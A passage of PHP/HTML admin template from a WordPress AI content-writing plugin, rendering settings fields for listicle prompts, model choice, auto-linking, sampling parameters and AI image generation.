the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="intro_prompt" id="intro_prompt6" placeholder="Enter your intro prompts, one per line" class="valuesai6 cr_width_full">Craft an introduction for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Highlight the number of items in the list and what the reader can expect to learn or gain from the listicle.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model6" name="topic_intro_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Listicle Entries. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Listicle Entries Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="sections_prompt" id="sections_prompt6" placeholder="Enter your sections prompts, one per line" class="valuesai6 cr_width_full">Write %%sections_count%% consecutive entries for a listicle about "%%title%%". The entries must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don't use HTML in your response, write only plain text entries, one on each line, as I will use these entries to further create content for each of them. Return only the entries, nothing else.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Listicle Entries generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Listicle Entries Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model6" name="topic_sections_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Listicle Entries Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="content_prompt" id="content_prompt6" placeholder="Enter your content prompt" class="valuesai6 cr_width_full">Write the content of a listicle section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don't add the title at the beginning of the created content. Be creative and unique. Don't repeat the heading in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model6" name="topic_content_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-16" name="single_content_call" onclick="hideTOC(-1);" class="valuesai6"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="qa_prompt" id="qa_prompt6" placeholder="Enter your Q&A prompts, one per line" class="valuesai6 cr_width_full">Write a Q&A listicle for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Each question should be clear and engaging, followed by a detailed and informative answer. Use HTML for formatting, include unnumbered lists and bold where applicable. Return only the Q&A content, nothing else.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model6" name="topic_qa_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="outro_prompt" id="outro_prompt6" placeholder="Enter your outro prompts, one per line" class="valuesai6 cr_width_full">Write an outro for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model6" name="topic_outro_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="excerpt_prompt" id="excerpt_prompt6" placeholder="Enter your excerpt prompts, one per line" class="valuesai6 cr_width_full">Write a short excerpt for a listicle about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. Highlight the listicle nature of the article and what readers can expect to find.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model6" name="topic_excerpt_model" class="hideAssistant6 valuesai6 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex_prompts" id="strip_by_regex_prompts6" placeholder="regex expression" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex_prompts" id="replace_regex_prompts6" placeholder="regex replacement" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on6" name="run_regex_on" type="text" list="run_regex_on_list6" class="valuesai6 coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list6"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend6" placeholder="Global prompt prepend text" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append6" placeholder="Global prompt append text" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai6 cr_width_full" id="link_type6" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links6" placeholder="3-5" class="valuesai6 cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list6" placeholder="URL list (one per line)" class="valuesai6 cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow6" name="link_nofollow" class="valuesai6"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types6" placeholder="post" class="valuesai6 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens6" value="" placeholder="32768" class="valuesai6 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens6" value="" placeholder="1000" class="valuesai6 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature6" value="" placeholder="1" class="valuesai6 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p6" value="" placeholder="1" class="valuesai6 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty6" value="" placeholder="0" class="valuesai6 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty6" value="" placeholder="0" class="valuesai6 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition6" name="search_query_repetition" class="valuesai6 cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images6" onchange="hideImage('6');" name="enable_ai_images" class="valuesai6 cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg6 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image6" placeholder="Please insert a command for the AI image generator" class="valuesai6 cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle6 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model6" name="image_model" class="valuesai6 cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg6 cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div 